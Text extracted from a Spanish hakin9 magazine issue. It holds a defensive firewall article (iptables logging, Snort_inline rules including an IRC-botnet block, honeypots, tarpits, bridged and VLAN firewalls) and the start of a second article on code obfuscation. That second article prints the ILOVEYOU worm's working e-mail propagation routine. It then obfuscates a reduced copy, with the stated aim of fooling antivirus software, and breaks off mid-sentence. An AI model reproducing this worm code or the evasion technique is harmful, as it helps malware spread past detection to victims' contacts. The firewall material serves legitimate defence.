iptables -N LOG_DROP # Creates a new chain called LOG_DROP<br />
iptables -A LOG_DROP -j LOG<br />
# Packet will be logged first in the LOG_DROP chain<br />
iptables -A LOG_DROP -j DROP<br />
# Packet will then be dropped in the LOG_DROP chain<br />
[...] # Your INPUT / FORWARD ruleset goes here<br />
iptables -A INPUT -j LOG_DROP<br />
# At the end of the INPUT and FORWARD rulesets the<br />
iptables -A FORWARD -j LOG_DROP<br />
# packet is LOG_DROPped (if not previously allowed)<br />
12 www.<strong>hakin9</strong>.org/es<br />
Snort_inline<br />
Ahora bien, ¿qué herramienta de<br />
código abierto podemos emplear<br />
para la prevención de intrusos?<br />
La respuesta es Snort_inline, una<br />
extensión de Snort relacionada con<br />
Netfilter/IPtables para tratar paquetes<br />
identificados como maliciosos<br />
por el motor de Snort.<br />
Si estás interesado en cómo trabajan<br />
juntos Netfilter/IPtables, Snort<br />
y Snort_inline, lo mejor que puedes<br />
hacer es descargar Honeywall [7],<br />
un CD autoarrancable utlizado principalmente<br />
en redes Honeynet. Para<br />
obtener más información sobre las<br />
Honeynets visita la página del proyecto<br />
Honeynet [8]. Si deseas emplear<br />
Snort_inline para proyectos de<br />
desarrollo, descárgalo de la página<br />
oficial de Snort e instálalo mediante<br />
el comando siguiente:<br />
./configure --enable-inline ;<br />
make ; make install<br />
Las opciones de configuración de<br />
Snort_inline se almacenan en el<br />
archivo snort_inline.conf, que define<br />
su comportamiento general.<br />
En el mismos directorio que el<br />
mencionado archivo de configuración<br />
encontrarás un buen número<br />
de reglas que identifican ciertos<br />
modelos de tráfico malicioso. Vamos<br />
a examinar una de ellas:<br />
drop tcp $HOME_NET any -><br />
$EXTERNAL_NET 6666:7000<br />
(msg:"CHAT IRC channel join";<br />
rev:2; sid:1729;<br />
classtype:misc-activity; content:<br />
"|4A 4F 49 4E 20 3A 20 23|"; nocase;<br />
flow:established,to_server;)<br />
La regla rechazará cualquier paquete<br />
que pertenezca a un intento de<br />
conexión a un canal de IRC desde<br />
nuestra organización hacia Internet.<br />
Hoy en dia, aplicar esta regla en<br />
nuestra organización tiene mucho<br />
sentido. ¿Por qué? Simplemente<br />
porque las botnets emplean el mecanismo<br />
de conexión a servidores<br />
de chat IRC para controlar los hosts<br />
comprometidos. Podría no ser posible<br />
aplicar esta regla de manera universal
en tu organización al completo cuando<br />
los usuarios pueden emplear servicios<br />
de chat y mensajería, pero definitivamente<br />
tendrá sentido aplicarla en<br />
redes compuestas solamente por<br />
servidores, ya que estos no deberían<br />
utilizar estos servicios de chat.<br />
Puede que nos haya sorprendido<br />
la forma con la que Snort_inline es<br />
capaz de ver la carga útil de estos paquetes.<br />
Bueno, el mecanismo es algo<br />
diferente al de PSAD. Sin embargo,<br />
en este caso también se emplearán<br />
las capacidades del potente motor<br />
Netfilter/IPtables.<br />
Netfilter/IPtables ofrece la posibilidad<br />
de definir reglas diferentes para<br />
el tráfico de red, tales como ACCEPT,<br />
DROP, QUEUE, o RETURN. La regla<br />
QUEUE, que depende del kernel, denominada<br />
ip_queue es un mecanismo<br />
traslada paquetes de la pila para hacer<br />
cola en el espacio de usuario donde,<br />
en este caso, Snort _ inline los recibe<br />
los procesa. Será posible entonces<br />
recibir de nuevo estos paquetes en<br />
el kernel a través de Snort _ inline<br />
especificando la accion que hay que<br />
realizar con los paquetes (como AC-<br />
CEPT o DROP).<br />
La regla se realizará al inspeccionar<br />
los paquetes gestionados por<br />
Netfilter/IPtables y al aplicar la configuración<br />
de las reglas para cada uno<br />
de ellos. Una característica importante<br />
de Snort_inline es que permite modificar<br />
los paquetes antes de inyectarlos<br />
de nuevo en el kernel. Una regla que<br />
podría realizar tal acción sería:<br />
alert tcp any any any 80<br />
(msg: "tcp replace"; content:<br />
"GET"; replace:"BET";)<br />
Esto sustituiría el método GET con la<br />
palabra BET, incapacitando supuestamente<br />
el uso malicioso del protocolo<br />
HTTP.<br />
Esta funcionalidad es útil para<br />
inutilizar un ataque sin romper la<br />
conexión, porque cuando se rechaza<br />
un paquete de una sesión TCP, dicha<br />
sesión no puede conntinuar, lo que<br />
alarmará al atacante de la presencia<br />
de un IPS. Sin embargo, este método<br />
no es infalible y funcionará solamente<br />
con atacantes inexpertos.<br />
Es importante mencionar lo que<br />
se denominan falsos positivos. Un<br />
falso positivo es una falsa alarma. En<br />
el mundo de la detección de intrusos,<br />
los falsos positivos constituyen un problema<br />
porque confunden (y muchas<br />
veces sobrecargan) el análisis del<br />
tráfico de red.<br />
En el mundo de la prevención de<br />
intrusos, los falsos positivos son mucho<br />
más peligrosos, ya que un falso<br />
positivo significa que se rompió una<br />
conexión autorizada. ¡Imagina lo que<br />
pasaría si una conexión concreta es<br />
crítica!<br />
Es por eso que la configuración del<br />
conjunto de reglas debe especificarse<br />
con sumo cuidado y por ello, el valor<br />
principal de un IPS está basado en la<br />
exactitud de sus firmas. La verdad es<br />
que la iniciativa en este caso pertenece<br />
a los fabricantes de dispositivos<br />
IPS, que suministran el servicio de actualización<br />
y mantenimiento de reglas<br />
a sus clientes.<br />
Desgraciadamente, la comunidad<br />
Open Source no mantiene actualmente<br />
reglas de IPS eficaces, con<br />
excepción de los conjuntos de reglas<br />
suministradas por el proyecto Honeynet.<br />
Además, no se actualizan periódicamente,<br />
solo con la salida de una<br />
nueva versión del CD Honeywall.<br />
Por otro lado, las reglas de Snort<br />
son accesibles libremente, sin embargo<br />
están orientadas a los IDS y cuando<br />
se convierten a firmas para IPS, el<br />
riesgo de que se produzca un ataque<br />
de denegación de servicio aumenta.<br />
Honeypots<br />
En este punto viste cómo emplear tu<br />
cortafuegos para detectar intrusiones<br />
e incluso prevenirlas.<br />
Todavía hay infinidad de cosas que<br />
puedes hacer con tu cortafuegos para<br />
aumentar la seguridad de tu organización.<br />
Una de ellas es Honeypotting.<br />
De acuerdo con la definición de<br />
los miembros del grupo de noticias<br />
de Honeypots en Securityfocus [9],<br />
un Honeypot es un recurso cuyo valor<br />
ha sido atacado o comprometido. Esta<br />
amplia definición deja espacio para un<br />
gran número de tipos de Honeypot<br />
[10], estrategias y enfoques, desde los<br />
muy simples a los muy complejos, que<br />
www.<strong>hakin9</strong>.org/es<br />
Cortafuegos<br />
no necesariamente deben ser tecnológicos.<br />
Algunos de estos honeypots<br />
pueden emplearse en tu cortafuegos.<br />
Uno de los muchos empleos de<br />
los honeypots es confundir a los atacantes.<br />
Cuando estos tratan de atacar<br />
tu organización, ven un montón de<br />
posibles víctimas, puertos abiertos,<br />
protocolos, servicios, sistemas, redes,<br />
etc., Esta informacion extra falsificada<br />
a propósito hará que sea más difícil<br />
para un atacante identificar recursos<br />
valiosos, es decir, cuando existe información<br />
sensible, y esto típicamente<br />
los obligará a ser menos sigilosos en<br />
sus ataques, aumentando la probabilidad<br />
de ser descubiertos.<br />
¿Cómo puedes hacer esto con tu<br />
cortafuegos? Esta implementación es<br />
simple; se emplean las capacidades<br />
de REDIRECT de Netfilter/IPtables.<br />
Inicialmente, un honeypot fue un programa<br />
inventado por George Bakos<br />
denominado The Tiny Honeypot [11]<br />
(THP), o tarrito de miel, que empleó<br />
esta estrategia entre otras. THP estaba<br />
formado por conjunto de scripts dedicados<br />
a la recolección de malware.<br />
La idea fue muy simple: todos los<br />
puertos en un sistema particular de<br />
Linux serían redirigidos a un simple<br />
puerto donde el oyente, de tipo netcat<br />
en el caso más simple, o bien enterado<br />
del servicio en el más sofisticado,<br />
respondería a los intentos de conexión<br />
y registraría los datos intercambiados,<br />
que en varias ocasiones incluyen<br />
malware. Las entradas de Netfilter/IPtables<br />
que lo permitían serán:<br />
iptables -t nat -N thp-redir<br />
iptables -t nat -A PREROUTING<br />
-i $EXTIF -p tcp --tcp-flags<br />
FIN,SYN,RST,ACK SYN<br />
-m limit --limit 60/minute<br />
-j thp-redir<br />
iptables -t nat -A thp-redir<br />
-p tcp -j REDIRECT<br />
--to-ports 31337<br />
No vamos a profundizar más sobre<br />
THP, ya que ha sido sustituido por<br />
una potente aplicación denominada<br />
Nepenthes [12].<br />
Existe otro enfoque muy interesante<br />
acerca del empleo de los honeypots<br />
en tu cortafuegos. Se trata del modo<br />
13
kit<br />
Tarpit. Tarpit, a veces denominado<br />
Honeypot pegajoso, es un tipo de<br />
Honeypot defensivo cuya misión es<br />
la de ralentizar las conexiones de<br />
red, como las que se observan típicamente<br />
cuando un ataque proveniente<br />
de gusanos de Internet afecta a una<br />
organización.<br />
Como deberías saber, las conexiones<br />
TCP se establecen en 3<br />
fases; SYN, SYN-ACK y ACK, también<br />
conocido como saludo TCP de<br />
tres vías. El truco que Tarpit utiliza es<br />
que cuando un host malicioso intenta<br />
conectarse a un puerto inactivo de un<br />
sistema es contestar a la petición de<br />
conexión maliciosa para luego dejar<br />
de responder.<br />
El host malicioso tratará entonces<br />
de verificar durante un tiempo determinado,<br />
normalmente ente 10 y 20<br />
minutos si la conexión se encuentra<br />
o no activa antes de que el tiempo de<br />
prueba se agote.<br />
La ventaja que supone esta técnica<br />
es que la cantidad de tiempo y energía<br />
que el sistema malicioso o infectado<br />
ha gastado intentando infectar a Tarpit<br />
permitirá que este no pueda comprometer<br />
otros sistemas potencialmente<br />
vulnerables de la red (el host malicioso<br />
solamente tiene una cierta cantidad de<br />
stamina, o lo que es lo mismo, un cantidad<br />
limitada de conexiones que puede<br />
mantener abiertas).<br />
Existen muchas aplicaciones que<br />
pueden hacer Tarpitting. La primera y<br />
más popular es LaBrea [11], que nació<br />
para luchar contra el gusano Code<br />
Red y en su versión 2 implementó<br />
incluso un mecanismo más sofisticado<br />
que el que se ha descrito en el párrafo<br />
anterior.<br />
Netfilter/IPtables introdujo un nuevo<br />
objeto denominado TARPIT que<br />
imita el comportamiento de LaBrea<br />
versión 1. Imagínate que sufres una<br />
infección por un gusano en el puerto<br />
número 31337/TCP. Lo que puedes<br />
hacer es simplemente crear la siguiente<br />
entrada en tu cortafuegos:<br />
iptables -A INPUT -p tcp -m<br />
tcp --dport 31337 -j TARPIT<br />
A partir de este momento, siempre que<br />
un host malicioso o infectado realice<br />
un escaneo al puerto 31337 TCP será<br />
tratado por Tarpit en el cortafuegos.<br />
¿Simple, verdad?<br />
Si deseas aumentar el impacto,<br />
puedes redirigir a nivel de router las<br />
direcciones IP no utilizadas de a un<br />
sistema GNU/Linux que no actúe como<br />
router.<br />
Luego, simplemente activa IP<br />
forwarding, y añade las siguientes<br />
líneas:<br />
iptables -A FORWARD -p tcp -j TARPIT<br />
iptables -A FORWARD -j DROP<br />
Ten en cuenta que el módulo correspondiente<br />
a Tarpit puede no estar<br />
activado o incluso no configurado en<br />
el kernel.<br />
Cortafuegos<br />
transparentes<br />
Existe una manera muy interesante<br />
y útil de emplear tu cortafuegos,<br />
consiste en el Modo Transparente, es<br />
decir, a nivel de capa 2, sin funciones<br />
de enrutamiento. No todos los cortafuegos,<br />
especialmente los comerciales,<br />
soportan esta funcionalidad. Sin<br />
embargo, los dos más populares de<br />
código abierto, Netfilter/IPtables y<br />
Packet Filter sí la soportan.<br />
Honestamente, la capacidad de<br />
un cortafuegos para utilizar la funcionalidad<br />
de transparencia no depende<br />
exclusivamente del código del corta-<br />
En la Red<br />
14 www.<strong>hakin9</strong>.org/es<br />
fuegos sino que además, el sistema<br />
operativo debe ser capaz de actuar<br />
en modo bridge, también conocido<br />
como modo puente. Como se demostró<br />
más arriba, tanto los sistemas<br />
GNU/Linux como OpenBSD entre<br />
otros, soportan esta característica.<br />
¿Cómo lo haremos por ejemplo en<br />
sistemas GNU/Linux? De una manera<br />
muy simple.<br />
Para crear un puente de red,<br />
obviamente necesitaremos al menos<br />
dos interfaces de red, como por<br />
ejemplo, eth0 y eth1. Estas interfaces<br />
no tendrán ninguna dirección IP. Sin<br />
embargo, se pueden asignar una o<br />
varias aisgnadas si se desea.<br />
El siguiente paso una vez que hemos<br />
configurado las interfaces de red<br />
es crear un puente entre las dos, por<br />
ejemplo br0:<br />
ifconfig eth0 0.0.0.0 up -arp<br />
# Bring up eth0 (no esperaremos<br />
respuesta de tipo ARP)<br />
ifconfig eth1 0.0.0.0 up -arp<br />
# Bring up eth1 (no esperaremos<br />
respuesta de tipo ARP)<br />
brctl addbr br0<br />
# Crear puente br0<br />
brctl addif br0 eth0 #<br />
Conectar eth0 al puente br0<br />
brctl addif br0 eth1 #<br />
Conectar eth1 al puente br0<br />
ifconfig br0 0.0.0.0 up -arp<br />
# Traer el puente br0<br />
• http://www.snort.org – Snort, [1]<br />
• http://www.jessland.net/JISK/IDS_IPS/Log_Analysis/Tools.php – Log Analysis,<br />
SIM & SEM Tools, [2]<br />
• http://www.cipherdyne.org/psad/ – PSAD, [3]<br />
• http://www.cipherdyne.org/fwsnort/ – fwsnort, [4]<br />
• http://swatch.sourceforge.net/ – swatch, [5]<br />
• http://www.awprofessional.com/title/0321349962 – Extrusion Detection: Security<br />
Monitoring for Internal Intrusions – Richard Bejtlich – Ed. Addison-Wesley; ISBN<br />
0321349962, [6]<br />
• http://www.honeynet.org/tools/cdrom/: Honeywall CD-ROM, [7]<br />
• http://project.honeynet.org – The Honeynet Project, [8]<br />
• http://www.securityfocus.com/archive/119 – Honeypots mailing List at Securityfocus,<br />
• http://www.jessland.net/Honeypots/Types.php – Honeypot Types, [10]<br />
• http://www.alpinista.org/thp/ – The Tiny Honeypot, [11]<br />
• http://nepenthes.mwcollect.org/ – Nephentes, [12]<br />
• http://www.hack-busters.net/LaBrea/ – LaBrea, [13]<br />
• http://www.jessland.net/JISK/Architecture.php – Security Architecture. [14]
Sobre el Autor<br />
Jess Garcia, fundador de la compañía JSS (Jessland Security Services) es ingeniero<br />
superior de seguridad que trabaja para organizaciones gubernamentales, comerciales,<br />
financieras y de telecomunicaciones en Europa, América Latina, Canadá y<br />
Estados Unidos. Además, es instructor autorizado por el Instituto SANS en varias<br />
disciplinas de seguridad. Jess posse un Máster en Ingeniería de Telecomunicaciones<br />
por la Universidad Politécnica de Madrid y con frecuencia realiza ponencias en acontecimientos<br />
internacionales. Jess es autor del libro Securing Solaris 8 & 9. Using the<br />
Center for Internet Security Benchmark y ha colaborado en muchos otros, incluyendo<br />
varios materiales de cursos impartidos por el instituto SANS. También es el autor de<br />
muchos estándares de seguridad para la administración en Español.<br />
Ahora puedes unir las reglas estándar<br />
de cortafuegos a la interfaz apropiada.<br />
Por ejemplo, para permitir el tráfico<br />
DNS a tu servidor DNS:<br />
iptables -A FORWARD -p tcp<br />
-m physdev --physdev-in eth0<br />
-d dnsserver \--dport 53 -j ACCEPT<br />
iptables -A FORWARD -p udp<br />
-m physdev --physdev-in eth0<br />
-d dnsserver \<br />
--dport 53 -j ACCEPT<br />
Cortafuegos virtuales<br />
Como probablemente hayas podido<br />
percibir, el mundo de la computación<br />
se está convirtiendo poco a<br />
poco en un mundo virtual.<br />
Ha pasado mucho tiempo desde<br />
que nuestros sistemas son tan<br />
potentes, que durante la mayor<br />
parte del tiempo no están trabajando,<br />
y nuestras redes de banda<br />
ancha apenas tampoco. Eso si,<br />
siempre y cuando no se estén utili-<br />
P U B L I C I D A D<br />
REKLAMA<br />
www.<strong>hakin9</strong>.org/es<br />
Cortafuegos<br />
zando aplicaciones Peer-to-Peer.<br />
Esta situación salió de la mano de la<br />
virtualización.<br />
En el mundo de los sistemas es<br />
de sobra conocidas las tecnologías<br />
de virtualización tales como Vmware,<br />
Virtual PC, Xen o Parallels, que permiten<br />
a los usuarios emplear diferentes<br />
sistemas operativos al mismo tiempo<br />
en entornos emulados físicamente<br />
inexistentes.<br />
En el mundo de redes, hace bastante<br />
tiempo que las redes virtuales de<br />
área local (VLAN) resultaron ser una<br />
tecnología muy útil, incluso teniendo<br />
en cuenta que las VLANs no son consideradas<br />
por la comunidad de expertos<br />
de seguridad como un mecanismo<br />
seguro de segmentación de red.<br />
Estas VLANs constituyen una<br />
manera de dividir un dispositivo de<br />
commutación o switch en una serie<br />
entornos o redes independientes.<br />
Para que resulte más fácil la comprensión<br />
de este concepto, imagine-<br />
15
kit<br />
mos que tenemos que agrupar todos<br />
los conectores de un conmutador o<br />
switch en grupos según deseemos, y<br />
de esta manera, un host que pertenezca<br />
a una red virtual o VLAN no será<br />
capaz de comunicarse con otro grupo<br />
hasta que la comunicación se produzca<br />
a través de un encaminador o router<br />
, aunque a veces el conmutador puede<br />
también actuar como encaminador.<br />
Sin embargo, no entraremos en<br />
este aspecto por ahora.<br />
Existe un concepto denominado<br />
trunking que permite unir diferentes<br />
VLANs mediante uno de los puertos<br />
del conmutador. Esto resulta muy útil<br />
cuando se desea ampliar una VLAN<br />
utilizando diferentes conmutadores o<br />
cuando cuando queramos desviar todo<br />
el tráfico al dispositivo que realiza<br />
el encaminamiento o el filtrado basado<br />
en VLAN, como por ejemplo, un<br />
cortafuegos virtual. Sin embargo te<br />
puedes preguntar, ¿cómo identificaremos<br />
qué paquete pertenece a qué<br />
VLAN cuando todas las VLAN viajan<br />
en el mismo cable?<br />
El estándar 802.1q, que define<br />
el comportamiento de las VLAN nos<br />
dice que para identificar a qué VLAN<br />
pertenece un determinado frame o<br />
marco (este tipo de tramas se denominan<br />
frames o marcos cuando nos<br />
referimos a la capa de red) se añade<br />
a este una etiqueta de identificación<br />
que corresponde al número de<br />
VLAN desde donde se ha generado<br />
la trama.<br />
Las grandes compañías comerciales,<br />
especialmente las que se<br />
dedican a la redes y su seguridad,<br />
dedican mucho esfuerzo e interés en<br />
integrar las VLANs con la infraestructura<br />
de red existente (en un esfuerzo<br />
de crear lo que ellos ellos llaman Tejido<br />
de red seguro.<br />
Todo esto significa que obviamente<br />
el soporte de VLAN es un requisito<br />
en los cortafuegos actuales y futuros.<br />
Afortunadamente, los cortafuegos de<br />
código abierto cumplen con esta normativa<br />
ya que soportan el filtrado basado<br />
en VLAN desde hace tiempo.<br />
Como habremos podido imaginar,<br />
para operar en un entorno VLAN,<br />
deben existir previamente interfaces<br />
que soporten el protocolo VLAN,<br />
osea, que sean capaces de entender<br />
el tráfico 802.1q. En GNU/Linux es<br />
bastante simple realizar esto mediante<br />
el comando siguiente:<br />
vconfig add eth0 2<br />
Esto crearía una interfaz virtual<br />
eth0.2 que podría conectarse a la<br />
VLAN 2, a condición de que la tarjeta<br />
de red eth0 esté conectada al puerto<br />
trunk, y de que el host con sistema<br />
GNU/Linux tenga el módulo 8021q<br />
cargado en el kernel (podremos realizar<br />
esto con el comando modprobe<br />
8021q) y las utilidades necesarias de<br />
VLAN instaladas. Ahora podríamos<br />
crear una regla en el cortafuegos<br />
para controlar la nueva interfaz de<br />
forma intuitiva:<br />
iptables -i eth0.2 -A INPUT -j DROP<br />
Esta regla rechazaría de forma predeterminada<br />
todo el tráfico entrante<br />
en la interfaz eth0.2 de la VLAN 2.<br />
Todavía mucho más<br />
Si echamos un vistazo al potente<br />
cortafuegos que es Packet Filter<br />
(PF), observarás que aún queda<br />
mucho por tratar:<br />
• Honeypotting utilizando demonios<br />
tales como spamd que permiten<br />
luchar contra el correo electrónico<br />
no deseado.<br />
• Capacidad de reconocimiento<br />
pasivo del sistema de PF, tecnología<br />
que permite la identificación<br />
de un sistema operativo remoto<br />
mediante la inspección simple de<br />
las cabeceras de los paquetes,<br />
y que además permite aplicar<br />
reglas que afectan al sistema<br />
operativo remoto que intenta<br />
conectarse a tu cortafuegos,<br />
• Empleo de las características de<br />
QoS (Calidad de Servicio) para<br />
reservar ancho de banda para<br />
aplicaciones críticas,<br />
• Alta disponibilidad, que en el caso<br />
de PF está basada en un protocolo<br />
abierto denominado CARP,<br />
y que permite asegurarte de que<br />
tu infraestructura es resistente a<br />
16 www.<strong>hakin9</strong>.org/es<br />
ciertas interrupciones a nivel del<br />
cortafuegos,<br />
• Normalización de paquetes, que<br />
suministra a PF la capacidad de<br />
proteger sistemas antiguos cuyas<br />
pilas TCP/IP son vulnerables.<br />
Esto se consigue modificando las<br />
características de las tramas de<br />
red salientes, como por ejemplo,<br />
el número de secuencia de TCP,<br />
• Authpf, un potente mecanismo<br />
para realizar filtrado a nivel de<br />
usuario.<br />
De igual modo, existen herramientas<br />
comerciales que implementan muchos<br />
de los aspectos que hemos tratado<br />
en este artículo, y algunos más.<br />
Un campo que los cortafuegos<br />
comerciales han tenido en el punto<br />
de mira durante mucho tiempo es<br />
el de la inspección de contenido.<br />
Cómo los ataques dirigidos a los<br />
clientes se hacen más frecuentes<br />
día a día, la necesidad de inspeccionar<br />
el tráfico en la capa de aplicación,<br />
por ejemplo el tráfico web<br />
o el tráfico de correo electrónico<br />
llega a ser una necesidad creciente.<br />
Por otro lado, las organizaciones<br />
se preocupan de a dónde<br />
acceden sus empleados cuando<br />
exploran Internet, por ejemplo, a<br />
páginas pornografía y desean evitar<br />
el tráfico proveniente de este<br />
tipo de sitios.<br />
En ambos casos, el cortafuegos<br />
necesitará utilizar criterios más sofisticados<br />
de filtrado para cumplir con la<br />
política de la compañía. Esto se realiza<br />
sobre todo para tráfico malicioso,<br />
a veces incluso cuando está presente<br />
malware relativamente sofisticado<br />
Sin embargo, la inspección y<br />
análisis de contenido, especialmente<br />
cuando es demasiado intensa ralentizará<br />
considerablemente el tráfico<br />
de red, cosa que no queremos que<br />
ocurra.<br />
Por ello, los fabricantes de<br />
cortafuegos inventaron protocolos<br />
que permiten que sus productos se<br />
integren con dispositivos externos<br />
diseñados especialmente para realizar<br />
este tipo de trabajo, como por<br />
ejemplo, el conocido OPSEC de la<br />
compañía Checkpoint). l
Ofuscación para<br />
principiantes<br />
Laic Aurelian<br />
Hay muchos programas llamados ofuscadores<br />
utilizados para transformar<br />
código para prevenir la ingeniería<br />
inversa, para reducir los ficheros de clases<br />
y ejecutables o para proteger la propiedad<br />
intelectual del código. Herramientas como<br />
Script Encoder permiten a los diseñadores<br />
de scripts codificar sus scripts para que los<br />
clientes y los servidores no puedan ver o modificar<br />
su código fuente. Estas herramientas<br />
aseguran la absoluta integridad del código<br />
fuente escrito en VBScript, Jscript y otros, de<br />
hecho estas herramientas no usan encriptación<br />
y es relativamente fácil decodificar esos<br />
scripts. También hay programas diseñados<br />
para decodificar scripts codificados con estas<br />
herramientas (Windows Script Decoder<br />
es un ejemplo para scripts codificados con<br />
Windows Script Encoder). Estos programas<br />
codificados protegen el código fuente a los<br />
principiantes, porque los usuarios más avanzados<br />
pueden fácilmente leer el código fuente.<br />
Pero el verdadero peligro viene de otro<br />
tipo de uso de la ofuscación: muchos hackers<br />
usan la ofuscación para esconder código malicioso<br />
o para engañar a los antivirus. Y eso<br />
es de lo que trata este artículo.<br />
18 www.<strong>hakin9</strong>.org/es<br />
De acuerdo con Wikipedia<br />
ofuscación es encubrir el<br />
significado de una comunicación<br />
haciéndola más confusa y<br />
difícil de interpretar. Por eso el<br />
Código ofuscado es un código<br />
fuente intencionadamente<br />
transformado para que sea muy<br />
difícil de leer y comprender.<br />
Ofuscación<br />
y transformación de virus<br />
Para comenzar, analizaremos un virus clásico<br />
deniminado Love letter. Este virus de correo<br />
apareció en el 2000 y se susedieron múltiples<br />
variantes, usa el lenguaje VBScript y en esencia<br />
hace lo siguiente:<br />
• Se propaga usando Outlook: se auto envía<br />
a todos los contactos de la libreta de direcciones.<br />
También utiliza mIRC para su propagación<br />
insertando un script a medida.<br />
• Infecta todos los ficheros VBS de la máquina<br />
infectada y sobrescribe todos los archivos jpg<br />
• Intenta descargarse de Internet un determinado<br />
archivo.exe.<br />
En este artículo aprenderás<br />
• Conocimiento básico de código ofuscado<br />
• Como usar la ofuscación para engañar a los<br />
antivirus.<br />
Lo que deberías saber<br />
• Como usar VBScript y ofuscación.
Listado 1. Código del virus original<br />
rem ****************<br />
sub spreadtoemail()<br />
rem ****************<br />
On Error Resume Next<br />
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad<br />
set regedit=CreateObject("WScript.Shell")<br />
set out=WScript.CreateObject("Outlook.Application")<br />
set mapi=out.GetNameSpace("MAPI")<br />
for ctrlists=1 to mapi.AddressLists.Count<br />
set a=mapi.AddressLists(ctrlists)<br />
x=1<br />
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)<br />
if (regv="") then<br />
regv=1<br />
end if<br />
if (int(a.AddressEntries.Count)>int(regv)) then<br />
for ctrentries=1 to a.AddressEntries.Count<br />
malead=a.AddressEntries(x)<br />
regad=""<br />
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)<br />
if (regad="") then<br />
set male=out.CreateItem(0)<br />
male.Recipients.Add(malead)<br />
male.Subject = "ILOVEYOU"<br />
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."<br />
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")<br />
male.Send<br />
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_<br />
DWORD"<br />
end if<br />
x=x+1<br />
next<br />
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntr<br />
ies.Count<br />
else<br />
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntr<br />
ies.Count<br />
end if<br />
next<br />
Set out=Nothing<br />
Set mapi=Nothing<br />
end sub<br />
rem ****************<br />
Listado 2. Código transformado<br />
spreatoemail<br />
sub spreadtoemail()<br />
rem ****************<br />
On Error Resume Next<br />
Dim out, mapi, i, x, malead<br />
set out=WScript.CreateObject("Outlook.Application")<br />
set mapi=out.GetNameSpace("MAPI")<br />
for i=1 to mapi.AddressLists.Count<br />
set a=mapi.AddressLists(i)<br />
for j=1 to a.AddressEntries.Count<br />
malead=a.AddressEntries(j)<br />
msgbox malead<br />
next<br />
next<br />
Set out=Nothing<br />
Set mapi=Nothing<br />
end sub<br />
www.<strong>hakin9</strong>.org/es<br />
Ofuscación<br />
Al realizar una búsqueda simple<br />
en cualquier buscador encontraremos<br />
el código fuente completo<br />
de este virus. El comportamiento<br />
más importantes de este virus es<br />
la propagación usando el correo y<br />
Microsoft Outlook. No se analizará<br />
todo el código y algunas de las<br />
secciones de código del virus serán<br />
transformadas (Listado 1). No<br />
utilizar este código o usarlo sólo<br />
en una máquina de pruebas. No<br />
se utilizará este código por que es<br />
muy peligroso, pero el mismo será<br />
transformado manteniendo su funcionalidad.<br />
Copiar el siguiente código<br />
en un nuevo archivo de texto<br />
y guardarlo con extensión .vbs. el<br />
mismo mostrará un mensaje en un<br />
cuadro de diálogo con cada una de<br />
las direcciones de correo encontradas<br />
en la libreta de direcciones de<br />
la maquina de prueba (Listado 2).<br />
Analizar el fichero con un programa<br />
antivirus (para este ejemplo se<br />
utilizó AVG). El programa antivirus<br />
notificará que es un posible virus.<br />
Debería mostrar un mensaje del tipo<br />
Podría estar infectado con el virus<br />
VBS/ILoveYou. Si el programa<br />
Listado 3. Código ofuscado<br />
spreadtoemail<br />
sub spreadtoemail()<br />
rem ****************<br />
On Error Resume Next<br />
Dim out, mp, i, x, malead<br />
Dim s1, s2, s3, s4, s5<br />
s1="Out"<br />
s2="look."<br />
s3="A"<br />
s4="pplication"<br />
s5=s1 & S2 & s3 & s4<br />
set out=WScript.CreateObject(s5)<br />
s1="M"<br />
s2="A"<br />
s3="P"<br />
s4="I"<br />
s5=s1 & S2 & s3 & s4<br />
set mp=out.GetNameSpace(s5)<br />
for i=1 to mp.AddressLists.Count<br />
set a=mp.AddressLists(i)<br />
for j=1 to a.AddressEntries.Count<br />
malead=a.AddressEntries(x)<br />
msgbox malead<br />
next<br />
next<br />
Set out=Nothing<br />
Set mapi=Nothing<br />
end sub<br />
19
kit<br />
Listado 4. Ejemplo de uso de la función Obfusc<br />
Function Obfusc(ind)<br />
Dim s1, s2, s3, s4, s5, s6<br />
Dim r1, r2, r3, r4, r5, r6, r7<br />
s1= "d"<br />
s2="b"<br />
s3="r"<br />
s4="c"<br />
s5="s"<br />
s6="t"<br />
s7="m"<br />
r1="a"<br />
r2="e"<br />
r3="o"<br />
r4=r1 & s1& r3 & s1 & s2<br />
Select case ind<br />
case 1<br />
r5=r4 & "." & s3 & r2 & s4 & r3 & s3 & s1 & s5 & r2 & s6<br />
'msgbox r5<br />
Obfusc=r5<br />
case 2<br />
r6=r4 & "." & s5 & s6 & s3 & r2 & r1 & s7<br />
'msgbox r6<br />
Obfusc=r6<br />
end select<br />
end function<br />
‘Converts binary data to a string (BSTR) using ADO recordset.<br />
Function RSBinaryToString(xBinary)<br />
Dim Binary<br />
'MultiByte data must be converted To VT_UI1 | VT_ARRAY first.<br />
If vartype(xBinary)=8 Then Binary = MultiByteToBinary(xBinary) Else Binary = xBinary<br />
Dim RS, LBinary<br />
Const adLongVarChar = 201<br />
Set RS = CreateObject(obfusc(1))<br />
LBinary = LenB(Binary)<br />
If LBinary>0 Then<br />
Else<br />
RS.Fields.Append "mBinary", adLongVarChar, LBinary<br />
RS.Open<br />
RS.AddNew<br />
RS("mBinary").AppendChunk Binary<br />
RS.Update<br />
RSBinaryToString = RS("mBinary")<br />
RSBinaryToString = ""<br />
End If<br />
End Function<br />
‘Read Binary file<br />
Function ReadBinaryFile(FileName)<br />
Const adTypeBinary = 1<br />
Dim BinaryStream<br />
Set BinaryStream = CreateObject(obfusc(2))<br />
BinaryStream.Type = adTypeBinary<br />
BinaryStream.Open<br />
BinaryStream.LoadFromFile FileName<br />
ReadBinaryFile = BinaryStream.Read<br />
BinaryStream.Close<br />
End Function<br />
‘Save a byte array into a file<br />
Sub saveFile(FileName, ByteArray)<br />
Dim bs<br />
Set bs = CreateObject(obfusc(2))<br />
bs.Type = 1<br />
bs.Open<br />
bs.Write ByteArray<br />
bs.SaveToFile FileName, 2<br />
End Sub<br />
20 www.<strong>hakin9</strong>.org/es<br />
antivirus no lo reconoce como un<br />
posible virus, probablemente esta<br />
